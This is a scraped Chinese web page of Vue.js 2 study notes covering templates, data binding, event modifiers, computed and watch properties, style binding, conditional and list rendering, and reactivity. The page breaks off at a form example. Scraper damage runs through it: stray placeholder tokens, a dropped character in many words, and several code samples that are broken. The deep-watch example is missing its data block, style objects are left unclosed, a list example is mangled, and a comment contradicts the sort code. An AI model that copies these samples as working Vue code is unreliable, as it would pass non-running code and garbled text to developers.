微信公众号搜"智元新知"关注
微信扫一扫可直接关注哦!

Vue学习笔记尚硅谷天禹老师

Vue学习笔记

文章目录

1. Vue核心

1.1. Vue简介

1.1.1. 官网

1.1.2. 介绍与描述

  • 动态构建用户界面的渐进式JavaScript框架

  • 作者:尤雨溪

1.1.3. Vue的特点

@H_987_404@
  • 遵循MVVM模式

  • 编码简洁,体积小,运行效率高,适合移动/PC端开发

  • 它本身只关注UI,可以引入其它第三方库开发项目

  • 1.1.4.与其他JS框架的关联

    @H_987_404@
  • 借鉴 Angular 的模板数据绑定技术
  • 借鉴 React 的组件化虚拟DOM技术
  • 1.1.5. Vue周边库

    • vue-cli:vue脚手架
    • vue-resource
    • axios
    • vue-router:路由
    • vuex:状态管理
    • element-ui:基于vue的UI组件库(PC端)

    1.2. 初识Vue

    <!DOCTYPE html>
    <html lang="en">
    <head>
        <Meta charset="UTF-8">
        <Meta http-equiv="X-UA-Compatible" content="IE=edge">
        <Meta name="viewport" content="width=device-width,initial-scale=1.0">
        <title>初识vue</title>
        <!-- 引入Vue -->
        <script src="../js/vue.js"></script>
    </head>
    <body>
        <!-- 准备好一个容器 -->
        <div id="root">
            <h1>Hello!{{name}}!</h1>
        </div>
    
        <script>
            Vue.config.productionTip = false // 阻止vue在启动时生成生产提示
            new Vue({
                el:'#root', //el用于指定当前Vue实例为哪个容器服务,值通常为css选择器字符串
                data:{ //data用于存储数据,数据共el所指定的容器去使用
                    name:'JOJO'
                }
            })
        </script>
    </body>
    </html>
    

    效果

    注意:

    @H_987_404@
  • 想让Vue工作,就必须创建一个Vue实例,且要传入一个配置对象
  • root容器里的代码依然符合html规范,只不过混入了一些特殊的Vue语法
  • root容器里的代码被称为Vue模板
  • Vue实例与容器是一一对应
  • 真实开发中只有一个Vue实例,并且会配合着组件一起使用
  • {{xxx}}中的xxx要写js表达式,且xxx可以自动读取到data中的所有属性
  • 一旦data中的数据发生变化,那么模板中用到该数据的地方也会自动更新
  • 1.3. 模板语法

    <!DOCTYPE html>
    <html lang="en">
    <head>
        <Meta charset="UTF-8">
        <Meta http-equiv="X-UA-Compatible" content="IE=edge">
        <Meta name="viewport" content="width=device-width,initial-scale=1.0">
        <title>vue模板语法</title>
        <script src="../js/vue.js"></script>
    </head>
    <body>
        <div id="root">
            <h1>插值语法</h1>
            <h3>你好,{{name}}!</h3>
            <hr>
            <h1>指令语法</h1>
            <a v-bind:href="url">快去看新番!</a><br>
            <a :href="url">快去看新番!</a>
        </div>
    
        <script>
            Vue.config.productionTip = false 
            new Vue({
                el:'#root', 
                data:{ 
                    name:'JOJO',
                    url:'https://www.bilibili.com/'
                }
            })
        </script>
    </body>
    </html>
    

    效果

    总结:

    Vue模板语法包括两大类:

    @H_987_404@
  • 插值语法:

    • 功能:用于解析标签内容
    • 写法:{{xxx}},xxx是js表达式,且可以直接读取到data中的所有区域
  • 指令语法:

    • 功能:用于解析标签包括标签属性标签内容、绑定事件…)
    • 举例:<a v-bind:href="xxx">或简写为<a :href="xxx">,xxx同样要写js表达式,且可以直接读取到data中的所有属性
    • 备注:Vue中有很多的指令,且形式都是v-???,此处我们只是拿v-bind举个例子
  • 1.4. 数据绑定

    <!DOCTYPE html>
    <html lang="en">
    <head>
        <Meta charset="UTF-8">
        <Meta http-equiv="X-UA-Compatible" content="IE=edge">
        <Meta name="viewport" content="width=device-width,initial-scale=1.0">
        <title>数据绑定</title>
        <script src="../js/vue.js"></script>
    </head>
    <body>
        <div id="root">
            单向数据绑定:<input type="text" v-bind:value="name"><br>
            双向数据绑定:<input type="text" v-model:value="name">
        </div>
    
        <script>
            Vue.config.productionTip = false 
            new Vue({
                el:'#root', 
                data:{
                    name:'JOJO'
                }
            })
        </script>
    </body>
    </html>
    

    效果

    总结:

    • Vue中有2种数据绑定的方式:

      @H_987_404@
    • 单向绑定(v-bind):数据只能从data流向页面
    • 双向绑定(v-model):数据不仅能从data流向页面,还可以从页面流向data
    • 备注:

      @H_987_404@
    • 双向绑定一般都应用在表单类元素上(如:<input><select><textarea>等)
    • v-model:value可以简写为v-model,因为v-model认收集的就是value值

    1.5. el与data的两种写法

    <!DOCTYPE html>
    <html lang="en">
    <head>
        <Meta charset="UTF-8">
        <Meta http-equiv="X-UA-Compatible" content="IE=edge">
        <Meta name="viewport" content="width=device-width,initial-scale=1.0">
        <title>el与data的两种写法</title>
        <script src="../js/vue.js"></script>
    </head>
    <body>
        <div id="root">
            <h1>Hello,{{name}}!</h1>
        </div>
    
        <script>
            Vue.config.productionTip = false 
            //el的两种写法:
            // const vm = new Vue({
            //     // el:'#root',//第一种写法
            //     data:{
            //         name:'JOJO'
            //     }
            // })
            // vm.$mount('#root')//第二种写法
    
            //data的两种写法:
            new Vue({
                el:'#root', 
                //data的第一种写法:对象式
                // data:{
                //     name:'JOJO'
                // }
                //data的第二种写法:函数
                data(){
                    return{
                        name:'JOJO'
                    }
                }
            })
        </script>
    </body>
    </html>
    

    总结:

    el有2种写法:

    @H_987_404@
  • 创建Vue实例对象的时候配置el属性
  • 先创建Vue实例,随后再通过vm.$mount('#root')指定el的值
  • data有2种写法:

    @H_987_404@
  • 对象式
  • 函数
    • 如何选择:目前哪种写法都可以,以后学到组件时,data必须使用函数,否则会报错

    由Vue管理的函数一定不要写箭头函数,否则this就不再是Vue实例了

    1.6. MVVM模型

    • MVVM模型:
      • M:模型(Model),data中的数据
      • V:视图(View),模板代码
      • VM:视图模型(viewmodel),Vue实例
    <!DOCTYPE html>
    <html lang="en">
    <head>
        <Meta charset="UTF-8">
        <Meta http-equiv="X-UA-Compatible" content="IE=edge">
        <Meta name="viewport" content="width=device-width,initial-scale=1.0">
        <title>mvvm</title>
        <script src="../js/vue.js"></script>
    </head>
    <body>
        <div id="root">
            <h2>名称:{{name}}</h2>
            <h2>战队:{{rank}}</h2>
            <h2>测试:{{$options}}</h2>
        </div>
    
        <script>
            Vue.config.productionTip = false
            new Vue({
                el:'#root',
                data:{ 
                    name:'uzi',
                    rank:'RNG'
                }
            })
        </script>
    </body>
    </html>
    

    效果

    总结:

    • data中所有的属性,最后都出现在了vm身上
    • vm身上所有的属性 及 Vue原型身上所有的属性,在Vue模板中都可以直接使用

    1.7. Vue中的数据代理

    总结:

    @H_987_404@
  • Vue中的数据代理通过vm对象来代理data对象中属性的操作(读/写)
  • Vue中数据代理的好处:更加方便的操作data中的数据
  • 基本原理:
  • 1.8. 事件处理

    1.8.1. 事件的基本用法

    <!DOCTYPE html>
    <html lang="en">
    <head>
        <Meta charset="UTF-8">
        <Meta http-equiv="X-UA-Compatible" content="IE=edge">
        <Meta name="viewport" content="width=device-width,initial-scale=1.0">
        <title>事件的基本用法</title>
        <script src="../js/vue.js"></script>
    </head>
    <body>
        <div id="root">
            <h2>hello,{{name}}</h2>
            <button v-on:click="showInfo1">点我提示信息1</button>
            <button @click="showInfo2($event,66)">点我提示信息2</button>
        </div>
    
        <script>
            Vue.config.productionTip = false 
            new Vue({
                el:'#root', 
                data:{
                    name:'JOJO'
                },
                methods:{
                    showInfo1(event){
                        console.log(event)
                    },
                    showInfo2(evnet,num){
                        console.log(event,num)
                    }
                }
            })
        </script>
    </body>
    </html>
    

    效果

    总结:

    @H_987_404@
  • 使用v-on:xxx@xxx绑定事件,其中xxx是事件名
  • 事件的回调需要配置在methods对象中,最终会在vm上
  • methods中配置的函数,==不要用箭头函数!==否则this就不是vm了
  • methods中配置的函数,都是被Vue所管理的函数,this的指向是vm或组件实例对象
  • @click="demo@click="demo($event)"效果一致,但后者可以传参
  • 1.8.2. 事件修饰符

    <!DOCTYPE html>
    <html>
    	<head>
    		<Meta charset="UTF-8" />
    		<title>事件修饰符</title>
    		<script type="text/javascript" src="../js/vue.js"></script>
    		<style>
    			*{
    				margin-top: 20px;
    			}
    			.demo1{
    				height: 50px;
    				background-color: skyblue;
    			}
    			.Box1{
    				padding: 5px;
    				background-color: skyblue;
    			}
    			.Box2{
    				padding: 5px;
    				background-color: orange;
    			}
    			.list{
    				width: 200px;
    				height: 200px;
    				background-color: peru;
    				overflow: auto;
    			}
    			li{
    				height: 100px;
    			}
    		</style>
    	</head>
    	<body>
    		<div id="root">
    			<h2>欢迎来到{{name}}学习</h2>
    			<!-- 阻止认事件 -->
    			<a href="http://www.atguigu.com" @click.prevent="showInfo">点我提示信息</a>
    
    			<!-- 阻止事件冒泡 -->
    			<div class="demo1" @click="showInfo">
    				<button @click.stop="showInfo">点我提示信息</button>
    			</div>
    
    			<!-- 事件只触发一次 -->
    			<button @click.once="showInfo">点我提示信息</button>
    
    			<!-- 使用事件的捕获模式 -->
    			<div class="Box1" @click.capture="showMsg(1)">
    				div1
    				<div class="Box2" @click="showMsg(2)">
    					div2
    				</div>
    			</div>
    
    			<!-- 只有event.target是当前操作的元素时才触发事件 -->
    			<div class="demo1" @click.self="showInfo">
    				<button @click="showInfo">点我提示信息</button>
    			</div>
    
    			<!-- 事件的认行为立即执行,无需等待事件回调执行完毕 -->
    			<ul @wheel.passive="demo" class="list">
    				<li>1</li>
    				<li>2</li>
    				<li>3</li>
    				<li>4</li>
    			</ul>
    
    		</div>
    	</body>
    
    	<script type="text/javascript">
    		Vue.config.productionTip = false
    
    		new Vue({
    			el:'#root',
    			data:{
    				name:'尚硅谷'
    			},
    			methods:{
    				showInfo(e){
    					alert('同学你好!')
    				},
    				showMsg(msg){
    					console.log(msg)
    				},
    				demo(){
    					for (let i = 0; i < 100000; i++) {
    						console.log('#')
    					}
    					console.log('累坏了')
    				}
    			}
    		})
    	</script>
    </html>
    

    效果

    总结:

    Vue中的事件修饰符:

    @H_987_404@
  • prevent:阻止认事件(常用)
  • stop:阻止事件冒泡(常用)
  • once:事件只触发一次(常用)
  • capture:使用事件的捕获模式
  • self:只有event.target是当前操作的元素时才触发事件
  • passive:事件的认行为立即执行,无需等待事件回调执行完毕
  • 修饰符可以连续写,比如可以这么用:@click.prevent.stop="showInfo"

    1.8.3. 键盘事件

    <!DOCTYPE html>
    <html>
    	<head>
    		<Meta charset="UTF-8" />
    		<title>键盘事件</title>
    		<script type="text/javascript" src="../js/vue.js"></script>
    	</head>
    	<body>
    		<div id="root">
    			<h2>欢迎来到{{name}}学习</h2>
    			<input type="text" placeholder="按下回车提示输入" @keydown.enter="showInfo">
    		</div>
    	</body>
    
    	<script type="text/javascript">
    		Vue.config.productionTip = false
    
    		new Vue({
    			el:'#root',
    			methods: {
    				showInfo(e){
    					console.log(e.target.value)
    				}
    			},
    		})
    	</script>
    </html>
    

    效果

    总结:

    键盘上的每个按键都有自己的名称和编码,例如:Enter(13)。而Vue还对一些常用按键起了别名方便使用

    Vue中常用的按键别名:

    • 回车:enter
    • 删除:delete (捕获“删除”和“退格”键)
    • 退出:esc
    • 空格:space
    • 换行:tab (特殊,必须配合keydown去使用)
    • 上:up
    • 下:down
    • 左:left
    • 右:right

    注意:

    @H_987_404@
  • 系统修饰键(用法特殊):ctrl、alt、shift、Meta

    • 配合keyup使用:按下修饰键的同时,再按下其他键,随后释放其他键,事件才被触发
    • 配合keydown使用:正常触发事件
  • 可以使用keyCode去指定具体的按键,比如:@keydown.13="showInfo",但不推荐这样使用

  • Vue.config.keyCodes.自定义键名 = 键码,可以自定义按键别名

  • 1.9. 计算属性

    <!DOCTYPE html>
    <html lang="en">
    <head>
        <Meta charset="UTF-8">
        <Meta http-equiv="X-UA-Compatible" content="IE=edge">
        <Meta name="viewport" content="width=device-width,initial-scale=1.0">
        <title>计算属性</title>
        <script src="../js/vue.js"></script>
    </head>
    <body>
        <div id="root">
            姓:<input type="text" v-model="firstName"><br><br>
            名:<input type="text" v-model="lastName"><br><br>
            姓名:<span>{{fullName}}</span>
        </div>
    
        <script>
            Vue.config.productionTip = false 
    
            new Vue({
                el:'#root', 
                data:{ 
                    firstName:'张',
                    lastName:'三'
                },
                computed:{
                    fullName:{
                        get(){
                            return this.firstName + '-' + this.lastName
                        },
                        set(value){
    						const arr = value.split('-')
    						this.firstName = arr[0]
    						this.lastName = arr[1]
                        }
                    }
                }
            })
        </script>
    </body>
    </html>
    

    效果

    总结:

    • 计算属性

      • 定义:要用的属性不存在,需要通过已有属性计算得来。

      • 原理:底层借助了Objcet.defineproperty()方法提供的getter和setter。

      • get函数什么时候执行?

        @H_987_404@
      • 初次读取时会执行一次
      • 当依赖的数据发生改变时会被再次调用
      • 优势:与methods实现相比,内部有缓存机制(复用),效率更高,调试方便

    • 备注:

      • 计算属性最终会出现在vm上,直接读取使用即可
      • 如果计算属性要被修改,那必须写set函数去响应修改,且set中要引起计算时依赖的数据发生改变
      • 如果计算属性确定不考虑修改,可以使用计算属性的简写形式
    new Vue({
        el:'#root',data:{ 
            firstName:'张',lastName:'三'
        },computed:{
        	fullName(){
    		    return this.firstName + '-' + this.lastName
        	}
        }
    })
    

    1.10. 监视属性

    1.10.1. 监视属性基本用法

    <!DOCTYPE html>
    <html lang="en">
    <head>
        <Meta charset="UTF-8">
        <Meta http-equiv="X-UA-Compatible" content="IE=edge">
        <Meta name="viewport" content="width=device-width,initial-scale=1.0">
        <title>监视属性</title>
        <script src="../js/vue.js"></script>
    </head>
    <body>
        <div id="root">
            <h2>今天天气好{{info}}!</h2>
            <button @click="changeWeather">点击切换天气</button>
        </div>
    
        <script>
            Vue.config.productionTip = false 
    
            new Vue({
                el:'#root', 
                data:{ 
                    isHot:true,
                },
                computed:{
                    info(){
                        return this.isHot ? '炎热' : '凉爽' 
                    }
                },
                methods:{
    				changeWeather(){
    					this.isHot = !this.isHot
    				}
    			},
                watch:{
                    isHot:{
                        immediate:true, //初始化时让handler调用一下
                        //handler什么时候调用?当isHot发生改变时
                        handler(newValue,oldValue){
    						console.log('isHot被修改了',newValue,oldValue)
    					}
                    }
                }
            })
        </script>
    </body>
    </html>
    

    效果

    总结:

    监视属性watch:

    @H_987_404@
  • 当被监视的属性变化时,回调函数自动调用,进行相关操作
  • 监视的属性必须存在,才能进行监视
  • 监视有两种写法: @H_987_404@
  • 创建Vue时传入watch配置
  • 通过vm.$watch监视
  • vm.$watch('isHot',{
    	immediate:true,handler(newValue,oldValue){
    		console.log('isHot被修改了',newValue,oldValue)
    	}
    })
    

    1.10.2. 深度监视

    <!DOCTYPE html>
    <html lang="en">
    <head>
        <Meta charset="UTF-8">
        <Meta http-equiv="X-UA-Compatible" content="IE=edge">
        <Meta name="viewport" content="width=device-width,initial-scale=1.0">
        <title>深度监视</title>
        <script src="../js/vue.js"></script>
    </head>
    <body>
        <div id="root">
            <h3>a的值是:{{numbers.a}}</h3>
    		<button @click="numbers.a++">点我让a+1</button>
    		<h3>b的值是:{{numbers.b}}</h3>
    		<button @click="numbers.b++">点我让b+1</button>
        </div>
    
        <script>
            Vue.config.productionTip = false 
    
            new Vue({
                el:'#root',
                    numbers:{
                        a:1,
                        b:1,
                    }
                },
                watch:{
                    //监视多级结构中所有属性的变化
                    numbers:{
                        deep:true,
    					handler(){
    						console.log('numbers改变了')
    					}
                    }
                    //监视多级结构中某个属性的变化
    				/* 'numbers.a':{
    					handler(){
    						console.log('a被改变了')
    					}
    				} */
                }
            })
        </script>
    </body>
    </html>
    

    效果

    总结:

    • 深度监视:

      @H_987_404@
    • Vue中的watch认不监测对象内部值的改变(一层)
    • 在watch中配置deep:true可以监测对象内部值的改变(多层)
    • 备注:

      @H_987_404@
    • Vue自身可以监测对象内部值的改变,但Vue提供的watch认不可以
    • 使用watch时根据监视数据的具体结构,决定是否采用深度监视

    1.10.3. 监视属性简写

    如果监视属性除了handler没有其他配置项的话,可以进行简写。

    <script type="text/javascript">
    	Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示
    		
        const vm = new Vue({
            el:'#root',
            data:{
                isHot:true,
            },
            computed:{
                info(){
                    return this.isHot ? '炎热' : '凉爽'
                }
            },
            methods: {
                changeWeather(){
                    this.isHot = !this.isHot
                }
            },
            watch:{
                //正常写法
                isHot:{
    				handler(newValue,oldValue){
    					console.log('isHot被修改了',oldValue)
    				}
    			}, 
                //简写
                isHot(newValue,oldValue){
    				console.log('isHot被修改了',oldValue,this)
    			}
            }
        })
    
        //正常写法
        vm.$watch('isHot',{
            handler(newValue,oldValue){
                console.log('isHot被修改了',oldValue)
            }
        })
        //简写
        vm.$watch('isHot',function(newValue,oldValue){
            console.log('isHot被修改了',this)
        })
    </script>
    

    1.10.4. 监听属性 VS 计算属性

    使用计算属性

    new Vue({
        el:'#root',computed:{
        	fullName(){
    		    return this.firstName + '-' + this.lastName
        	}
        }
    })
    

    使用监听属性

    new Vue({
    	el:'#root',data:{
    		firstName:'张',lastName:'三',fullName:'张-三'
    	},watch:{
    		firstName(val){
    			setTimeout(()=>{
    				this.fullName = val + '-' + this.lastName
    			},1000);
    		},lastName(val){
    			this.fullName = this.firstName + '-' + val
    		}
    	}
    })
    

    总结:

    • computed和watch之间的区别:

      • computed能完成的功能,watch都可以完成
      • watch能完成的功能,computed不一定能完成,例如:watch可以进行异步操作
    • 两个重要的小原则:

      @H_987_404@
    • 所有被Vue管理的函数,最好写成普通函数,这样this的指向才是vm 或 组件实例对象
    • 所有不被Vue所管理的函数(定时器的回调函数、ajax的回调函数等、Promise的回调函数),最好写成箭头函数,这样this的指向才是vm 或 组件实例对象。

    1.11. 绑定样式

    <style>
        .basic{
            width: 400px;
            height: 100px;
            border: 1px solid black;
        }
        .happy{
            border: 4px solid red;;
            background-color: rgba(255, 255, 0, 0.644);
            background: linear-gradient(30deg,yellow,pink,orange,yellow);
        }
        .sad{
            border: 4px dashed rgb(2, 197, 2);
            background-color: gray;
        }
        .normal{
            background-color: skyblue;
        }
    
        .atguigu1{
            background-color: yellowgreen;
        }
        .atguigu2{
            font-size: 30px;
            text-shadow:2px 2px 10px red;
        }
        .atguigu3{
            border-radius: 20px;
        }
    </style>
    
    <div id="root">
        <!-- 绑定class样式--字符串写法,适用于:样式的类名不确定,需要动态指定 -->
        <div class="basic" :class="mood" @click="changeMood">{{name}}</div> <br/><br/>
    
        <!-- 绑定class样式--数组写法,适用于:要绑定的样式个数不确定、名字也不确定 -->
        <div class="basic" :class="classArr">{{name}}</div> <br/><br/>
    
        <!-- 绑定class样式--对象写法,适用于:要绑定的样式个数确定、名字也确定,但要动态决定用不用 -->
        <div class="basic" :class="classObj">{{name}}</div> <br/><br/>
    
        <!-- 绑定style样式--对象写法 -->
        <div class="basic" :style="styleObj">{{name}}</div> <br/><br/>
    
        <!-- 绑定style样式--数组写法 -->
        <div class="basic" :style="styleArr">{{name}}</div>
    </div>
    
    <script type="text/javascript">
    	Vue.config.productionTip = false
    		
        const vm = new Vue({
            el:'#root',
            data:{
                name:'尚硅谷',
                mood:'normal',
                classArr:['atguigu1','atguigu2','atguigu3'],
                classObj:{
                    atguigu1:false,
                    atguigu2:false,
                styleObj:{
                    fontSize: '40px',
                    color:'red',
                styleObj2:{
                    backgroundColor:'orange'
                },
                styleArr:[
                    {
                        fontSize: '40px',
                        color:'blue',
                    },
                    {
                        backgroundColor:'gray'
                    }
                ]
            },
            methods: {
                changeMood(){
                    const arr = ['happy','sad','normal']
                    const index = Math.floor(Math.random()*3)
                    this.mood = arr[index]
                }
            },
        })
    </script>
    

    效果

    image-20210717181454771

    总结:

    @H_987_404@
  • class样式:

    • 写法:class="xxx",xxx可以是字符串、对象、数组

    • 字符串写法适用于:类名不确定,要动态获取

    • 对象写法适用于:要绑定多个样式,个数不确定,名字也不确定

    • 数组写法适用于:要绑定多个样式,个数确定,名字也确定,但不确定用不用

  • style样式:

    • :style="{fontSize: xxx}"其中xxx是动态值
    • :style="[a,b]"其中a、b是样式对象
  • 1.12. 条件渲染

    <!DOCTYPE html>
    <html>
    	<head>
    		<Meta charset="UTF-8" />
    		<title>条件渲染</title>
    		<script type="text/javascript" src="../js/vue.js"></script>
    	</head>
    	<body>
    		<div id="root">
    			<h2>当前的n值是:{{n}}</h2>
    			<button @click="n++">点我n+1</button>
    
    			<h2 v-show="true">Hello,{{name}}!</h2>
    
    			<div v-if="n === 1">Angular</div>
    			<div v-else-if="n === 2">React</div>
    			<div v-else>Vue</div>
    		</div>
    	</body>
    
    	<script type="text/javascript">
    		Vue.config.productionTip = false
    
    		const vm = new Vue({
    			el:'#root',
    			data:{
    				name:'jojo',
    				n:0
    			}
    		})
    	</script>
    </html>
    

    效果

    总结:

    @H_987_404@
  • v-if:

    • 写法:

      @H_987_404@
    • v-if="表达式"
    • v-else-if="表达式"
    • v-else
    • 适用于:切换频率较低的场景

    • 特点:不展示的DOM元素直接被移除

    • 注意:v-if可以和v-else-ifv-else一起使用,但要求结构不能被打断

  • v-show:

    • 写法:v-show="表达式"
    • 适用于:切换频率较高的场景
    • 特点:不展示的DOM元素未被移除,仅仅是使用样式隐藏掉
  • 使用v-if的时,元素可能无法获取到,而使用v-show一定可以获取

    @L_404[email protected]. 列表渲染

    1.13.1. 基本列表

    <!DOCTYPE html>
    <html>
    	<head>
    		<Meta charset="UTF-8" />
    		<title>基本列表</title>
    		<script type="text/javascript" src="../js/vue.js"></script>
    	</head>
    	<body>
    		<div id="root">
    			<h2>人员列表(遍历数组)</h2>
    			<ul>
    				<li v-for="(p,index) in persons" :key="index">
    					{{p.name}}-{{p.age}}
    				</li>
    			</ul>
    
    			<h2>汽车信息(遍历对象)</h2>
    			<ul>
    				<li v-for="(value,k) in car" :key="k">
    					{{k}}-{{value}}
    				</li>
    			</ul>
    
    			<h2>遍历字符串</h2>
    			<ul>
    				<li v-for="(char,index) in str" :key="index">
    					{{char}}-{{index}}
    				</li>
    			</ul>
    			
    			<h2>遍历指定次数</h2>
    			<ul>
    				<li v-for="(number,index) in 5" :key="index">
    					{{index}}-{{number}}
    				</li>
    			</ul>
    		</div>
    
    		<script type="text/javascript">
    			Vue.config.productionTip = false
    			
    			new Vue({
    				el:'#root',
    				data:{
    					persons:[
    						{id:'001',name:'张三',age:18},
    						{id:'002',name:'李四',age:19},
    						{id:'003',name:'王五',age:20}
    					],
    					car:{
    						name:'奥迪A8',
    						price:'70万',
    						color:'黑色'
    					},
    					str:'hello'
    				}
    			})
    		</script>
        </body>
    </html>
    

    效果

    总结:

    v-for指令:

    @H_987_404@
  • 用于展示列表数据
  • 语法:<li v-for="(item,index) in xxx" :key="yyy">,其中key可以是index,也可以是遍历对象的唯一标识
  • 可遍历:数组、对象、字符串(用的少)、指定次数(用的少)
  • 1.13.2. key的作用与原理

    <!DOCTYPE html>
    <html>
    	<head>
    		<Meta charset="UTF-8" />
    		<title>key的原理</title>
    		<script type="text/javascript" src="../js/vue.js"></script>
    	</head>
    	<body>
    		<div id="root">
    			<h2>人员列表</h2>
    			<button @click.once="add">添加老刘</button>
    			<ul>
    				<li v-for="(p,index) in persons" :key="index">
    					{{p.name}} - {{p.age}}
    					<input type="text">
    				</li>
    			</ul>
    		</div>
    
    		<script type="text/javascript">
    			Vue.config.productionTip = false
    			
    			new Vue({
    				el:'#root',age:20}
    					]
    				},
    				methods: {
    					add(){
    						const p = {id:'004',name:'老刘',age:40}
    						this.persons.unshift(p)
    					}
    				},
    			})
    		</script>
    </html>
    

    效果

    原理:

    image-20210718113900024

    image-20210718114304512

    面试题:react、vue中的key有什么作用?(key的内部原理)

    @H_987_404@
  • 虚拟DOM中key的作用:key是虚拟DOM中对象的标识,当数据发生变化时,Vue会根据【新数据】生成【新的虚拟DOM】,随后Vue进行【新虚拟DOM】与【旧虚拟DOM】的差异比较,比较规则如下:

  • 对比规则:

    @H_987_404@
  • 旧虚拟DOM中找到了与新虚拟DOM相同的key:

    @H_987_404@
  • 若虚拟DOM中内容没变,直接使用之前的真实DOM
  • 若虚拟DOM中内容变了,则生成新的真实DOM,随后替换掉页面中之前的真实DOM
  • 旧虚拟DOM中未找到与新虚拟DOM相同的key:创建新的真实DOM,随后渲染到到页面

  • 用index作为key可能会引发的问题:

    @H_987_404@
  • 若对数据进行逆序添加、逆序删除等破坏顺序操作:会产生没有必要的真实DOM更新 ==> 界面效果没问题,但效率低
  • 若结构中还包含输入类的DOM:会产生错误DOM更新 ==> 界面有问题
  • 开发中如何选择key?

    @H_987_404@
  • 最好使用每条数据的唯一标识作为key,比如id、手机号、身份证号、学号等唯一值
  • 如果不存在对数据的逆序添加、逆序删除等破坏顺序的操作,仅用于渲染列表,使用index作为key是没有问题的
  • 1.13.3. 列表过滤

    <!DOCTYPE html>
    <html>
    	<head>
    		<Meta charset="UTF-8" />
    		<title>列表过滤</title>
    		<script type="text/javascript" src="../js/vue.js"></script>
    	</head>
    	<body>
    		<div id="root">
    			<h2>人员列表</h2>
    			<input type="text" placeholder="请输入名字" v-model="keyWord">
    			<ul>
    				<li v-for="(p,index) of filPersons" :key="index">
    					{{p.name}}-{{p.age}}-{{p.sex}}
    				</li>
    			</ul>
    		</div>
    
    		<script type="text/javascript">
    			Vue.config.productionTip = false
    
    			new Vue({
    				el:'#root',
    				data:{
    					keyWord:'',
    					persons:[
    						{id:'001',name:'马冬梅',age:19,sex:'女'},name:'周冬雨',age:20,name:'周杰伦',age:21,sex:'男'},
    						{id:'004',name:'温兆伦',age:22,sex:'男'}
    					]
    				},
    				computed:{
    					filPersons(){
    						return this.persons.filter((p)=>{
    							return p.name.indexOf(this.keyWord) !== -1
    						})
    					}
    				}
    			})
    		</script>
    	</body>
    </html>
    

    效果

    1.13.4. 列表排序

    <body>
        <div id="root">
            <h2>人员列表</h2>
            <input type="text" placeholder="请输入名字" v-model="keyWord">
            <button @click="sortType = 2">年龄升序</button>
    		<button @click="sortType = 1">年龄降序</button>
    		<button @click="sortType = 0">原顺序</button>
            <ul>
                <li v-for="(p,index) of filPersons" :key="p.id">
                    {{p.name}}-{{p.age}}-{{p.sex}}
                </li>
            </ul>
        </div>
        
        <script>
            new Vue({
                el:'#root',
                data:{
                    persons:[
                        {id:'001',age:30,
    				    {id:'002',age:45,
    				    {id:'003',
    				    {id:'004',sex:'男'}
                    ],
                    keyWord:'',
                    sortType:0,//0代表原顺序,1代表升序,3代表降序
                },
                computed:{
                    filPersons(){
                        const arr = this.persons.filter((p)=>{
                            return p.name.indexOf(this.keyWord) !== -1
                        })
                        if(this.sortType){
                            arr.sort((p1, p2)=>{
                                return this.sortType ===1 ? p2.age-p1.age : p1.age-p2.age
                            })
                        }
                        return arr
                    }
                }
            })
        </script>
    </body>
    

    效果

    1.13.5. Vue数据监视

    <!DOCTYPE html>
    <html>
    	<head>
    		<Meta charset="UTF-8" />
    		<title>Vue数据监视</title>
    		<style>
    			button{
    				margin-top: 10px;
    			}
    		</style>
    		<script type="text/javascript" src="../js/vue.js"></script>
    	</head>
    	<body>
    		<div id="root">
    			<h1>学生信息</h1>
    			<button @click="student.age++">年龄+1岁</button><br/>
    			<button @click="addSex">添加性别属性认值:男</button> <br/>
    			<button @click="addFriend">在列表首位添加一个朋友</button> <br/>
    			<button @click="updateFirstFriendName">修改一个朋友的名字为:张三</button><br/>
    			<button @click="addHobby">添加一个爱好</button> <br/>
    			<button @click="updateHobby">修改一个爱好为:开车</button><br/>
    			<button @click="removeSmoke">过滤掉爱好中的抽烟</button> <br/>
    			<h3>姓名:{{student.name}}</h3>
    			<h3>年龄:{{student.age}}</h3>
    			<h3 v-if="student.sex">性别:{{student.sex}}</h3>
    			<h3>爱好:</h3>
    			<ul>
    				<li v-for="(h,index) in student.hobby" :key="index">
    					{{h}}
    				</li>
    			</ul>
    			<h3>朋友们:</h3>
    			<ul>
    				<li v-for="(f,index) in student.friends" :key="index">
    					{{f.name}}--{{f.age}}
    				</li>
    			</ul>
    		</div>
    	</body>
    
    	<script type="text/javascript">
    		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示
    
    		const vm = new Vue({
    			el:'#root',
    			data:{
    				student:{
    					name:'tom',
    					age:18,
    					hobby:['抽烟','喝酒','烫头'],
    					friends:[
    						{name:'jerry',age:35},
    						{name:'tony',age:36}
    					]
    				}
    			},
    			methods: {
    				addSex(){
    					//Vue.set(this.student,'sex','男')
    					this.$set(this.student,'sex','男')
    				},
    				addFriend(){
    					this.student.friends.unshift({name:'jack',age:70})
    				},
    				updateFirstFriendName(){
    					this.student.friends[0].name = '张三'
    				},
    				addHobby(){
    					this.student.hobby.push('学习')
    				},
    				updateHobby(){
    					this.student.hobby.splice(0,1,'开车')
    				},
    				removeSmoke(){
    					this.student.hobby = this.student.hobby.filter((h)=>{
    						return h !== '抽烟'
    					})
    				}
    			}
    		})
    	</script>
    </html>
    

    效果

    总结:

    Vue监视数据的原理:

    @H_987_404@
  • vue会监视data中所有层次的数据

  • 如何监测对象中的数据?

    通过setter实现监视,且要在new Vue时就传入要监测的数据

    @H_987_404@
  • 对象中后追加的属性,Vue认不做响应式处理
  • 如需给后添加属性做响应式,请使用如下API:
    • Vue.set(target,propertyName/index,value)
    • vm.$set(target,value)
  • 如何监测数组中的数据?

    通过包裹数组更新元素的方法实现,本质就是做了两件事:

    @H_987_404@
  • 调用原生对应的方法对数组进行更新
  • 重新解析模板,进而更新页面
  • 在Vue修改数组中的某个元素一定要用如下方法

    @H_987_404@
  • 使用这些API:push()pop()shift()unshift()splice()sort()reverse()
  • Vue.set()vm.$set()
  • 特别注意Vue.set()vm.$set() 不能给vm 或 vm的根数据对象(data等) 添加属性

    1.14. 收集表单数据

    <!DOCTYPE html>
    <html>
    	<head>
    		<Meta charset="UTF-8" />
    		<title>收集表单数据</title>
    		<script type="text/javascript" src="../js/vue.js"></script>
    	</head>
    	<body>
    		<div id="root">
    			<form @submit.prevent="demo">
    				账号:<input type="text" v-model.trim="userInfo.account"> <br/><br/>
    				密码<input type="password" v-model="userInfo.password"> <br/><br/>
    				年龄:<input type="number" v-model.number="userInfo.age"> <br/><br/>
    				性别:
